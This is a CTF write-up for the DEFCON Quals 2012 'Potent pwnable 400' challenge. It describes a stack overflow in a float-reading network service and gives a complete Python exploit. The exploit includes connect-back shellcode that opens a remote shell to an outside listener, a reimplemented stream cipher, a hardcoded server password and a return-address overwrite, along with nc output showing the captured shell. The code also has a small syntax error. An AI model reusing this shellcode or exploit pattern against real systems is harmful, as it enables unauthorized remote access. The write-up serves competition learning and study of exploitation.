DEFCON Quals 2012 Potent pwnable 400 writeup -ea We are givven a BSD elf which listens on port 4016. The point is to send it hex encoded and encrypted values which the server then interprets as floats and stores them on the stack. What happens is : 1) You send a string "6161616161" 2) That string gets converted to bytes and becomes "aaaaa" 3) It's decrypted using some stream cipher 4) Decrypted string gets passed to sscanf(s,"%s",&f) 5) That float gets stored in the 128 places long buffer on the stack 6) If the float is not 0.0 (when sscanf doesn't find an actuall float in the string, it return 0.0), the loop continues and another value is read from the client. There is no check to ensure only 128 places are filled, and by sending more floats, the buffer overflows overwriting the ret addr ... There were few problems tho. First one, gdb wouldn't follow childs... So we used a "patch the fork" trick: Run the program, break and do these: set *(0x0804981C+1)=0x90909090 set *0x0804981C=0x9090c033 Which actually patch code right after fork with xor eax,eax so the program continues as it were a child. Main problem to overcome was the actuall encryption/decryption algorithm which gljiva's hand-rayz finished pretty quickly. More details in the comments in the exploit. Set nc to listen and run the exploit: ea@cruncher:~/ddtek/pp400$ python exp400.py 140.197.217.155 249 Welcome to DDTEK Secure Global Warming and Fukushima impact predictorator! Please enter your kelvin adjusted climate data for our algorithms to chew on: Check the nc ... ea@cruncher:~/ddtek/pp400$ nc -l -p 4444 -v Listening on [0.0.0.0] (family 0, port 4444) Connection from [140.197.217.155] port 4444 [tcp/*] accepted (family 2, sport 13804) ls bin key lib libexec cat key 486963a49a272c95fb5276661520d44b15aa11a6 YAY! And without the further ado, the exploit: import socket import sys import string import struct from binascii import hexlify HOST = sys.argv[1] PORT = 4016 #regular connect back shellcode SHELLCODE = "\x68\xb0\x09\x70\xc5\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0\x50\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8\x79\xf6\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80" #extracted IV for the stream cipher CIPHER_KEY = [0xB6,0x3D,0x15,0x3A,0x04,0x15,0x69,0x72,0x45,0xFE,0xC2,0x7F,0x12,0x78,0xD7,0x82] pMem = [] #function to encode shellcode to array of float strings def floatEncode(data): data += "\x00" * (4 - len(data) % 4) array = [] for x in range(0, len(data), 4): f = str(struct.unpack("f", data[x:x+4])[0]) array.append(f) return array #get next keystream byte to encrypt the string that we send def getNext(): pMem[256] = (pMem[256] + 1) & 0xff pMem[257] = (pMem[257] + pMem[pMem[256]]) & 0xff v2 = pMem[pMem[256]] pMem[pMem[256]] = pMem[pMem[257]] pMem[pMem[257]] = v2 return pMem[(pMem[pMem[256]] + pMem[pMem[257]]) &0xff] #initialize the stream cipher def xorInit(): iCounter = 0xff while iCounter >= 0: pMem.append(iCounter) iCounter -= 1 pMem.append(0) pMem.append(0) iCounter = 0 while iCounter <= 0xff: pMem[0x101] = (pMem[pMem[0x100]] + pMem[0x101] + CIPHER_KEY[pMem[0x100] & 0xF]) & 0xff cTmp = pMem[pMem[0x100]] pMem[ pMem[0x100] ] = pMem[ pMem[0x101] ] pMem[ pMem[0x101] ] = cTmp iCounter += 1 pMem[0x100] = 0 pMem[0x101] = 0 return ''.join([chr(i) for i in pMem]) #encrypt and invert for endianess def xorInvert(s1): s3 = "" for i in range(len(s1)): s3 += chr(ord(s1[i])^getNext()) return s3[::-1] pMem = [] xorInit() #send some nops just in case ... stringsToSend = floatEncode("\x90"*202 + SHELLCODE) retAddr = str(struct.unpack("f", "\xfc\xe9\xbf\xbf")[0])[::-1] s = None s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST,PORT)) #actuall server password s.send("b366e2776ce9efff\n") print s.recv(1024) i = 0 #send each float of the "encoded" shellcode for ms in stringsToSend: s.send(hexlify(xorInvert(ms[::-1])) + "\n") i = i + 1 #then fill the rest with ret addr for j in range(i,250)): s.send(hexlify(xorInvert(retAddr))+"\n") s.send("\n") print s.recv(1024)